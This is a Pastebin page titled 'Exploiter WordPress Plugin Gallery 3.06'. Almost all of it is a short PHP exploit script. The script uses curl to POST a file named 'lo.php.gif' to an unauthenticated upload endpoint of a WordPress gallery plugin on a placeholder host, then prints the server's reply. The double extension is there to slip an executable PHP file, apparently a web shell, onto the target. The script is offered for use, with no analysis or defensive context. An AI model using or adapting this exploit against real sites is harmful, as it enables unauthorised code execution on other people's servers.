Advertisement
iam_shinchan

Exploiter WordPress Plugin Gallery 3.06

Jun 29th, 2017
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.38 KB | None | 0 0
  1. <?php
  2.  
  3. $uploadfile="lo.php.gif";
  4. $ch =
  5. curl_init("http://www.exemple.com/wordpress/wp-content/plugins/gallery-plugin/upload/php.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8.          array('qqfile'=>"@$uploadfile"));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement